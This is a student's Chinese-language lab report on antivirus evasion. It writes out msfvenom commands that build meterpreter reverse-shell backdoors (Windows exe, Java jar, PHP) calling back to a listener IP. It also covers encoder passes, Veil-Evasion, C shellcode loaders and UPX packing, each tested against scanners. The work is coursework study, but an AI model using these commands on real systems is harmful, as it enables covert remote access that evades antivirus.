20155328 《网络攻防》 实验三:免杀原理与实践

实验过程记录

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
将实验二中生成的后门程序投递到virscan网站上,扫描结果如下:

用virustotal扫描结果如下:

尝试用msf编码器对后门程序进行一次或多次编码。

一次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded.exe

十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded10.exe

用命令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor_java.jar生成jar文件:

用命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor.php生成PHP后门程序:

veil-evasion

这个过程需要先安装veil-evasion,由于网速太慢,安装过程耗时太多。我用了同学的虚拟机来做这部分实验。

先在终端中输入veil命令启用veil;然后输入veil evasion进入。

输入命令use python/meterpreter/rev_tcp.py用python语言重写meterpreter。

set LHOST 192.168.217.132设置反弹连接IP,set LPORT 5328设置端口。

输入generate生成文件,填写payload的名称。出现错误提示,没法用python语言。

然后就从头开始,将use...中的python换成c即可。

成功生成的payload如图所示。

在virscan中投递,查看有没有起到免杀效果。可以看到还是好了很多的。

C语言调用shellcode

kali终端下,输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=虚拟机IP LPORT=443 -f c,生成数组。

创建20155328.c,把数组拷贝进去,并加上主函数。

终端下输入i686-w64-mingw32-g++ MSSC.c -o 20155328.exe生成可执行文件20155328.exe。投递到virscan上。

把可执行文件移到主机中,运行后马上就被360查出来了。(反应速度真的很快。。我都没反应过来

(查出来)

加壳

在kali中用upx命令对可执行文件进行加壳操作。

(加壳)

移到主机中,运行后进行全面杀毒,也没有查出来(朋友的电脑本身有一些危险

基础问题回答

  • 杀软是如何检测出恶意代码的?

通过检测特征码或者特定行为。恶意代码都有其特有的特征码。

  • 免杀是干啥的?

防止计算机杀毒软件对恶意代码的查杀。

  • 免杀的基本方法有啥?

改变特征码;在看似正常的应用中插入特征码。

离实战缺什么

不知道该怎么把自己生成的后门放到想攻击的机器里。

实践总结与体会

老师今天上课说要带着好奇心去做。。其实做这个还是有点意思的,不断尝试检测看能否躲过杀毒软件,又不断改进。下次加油。。不要再拖到这么晚做了。。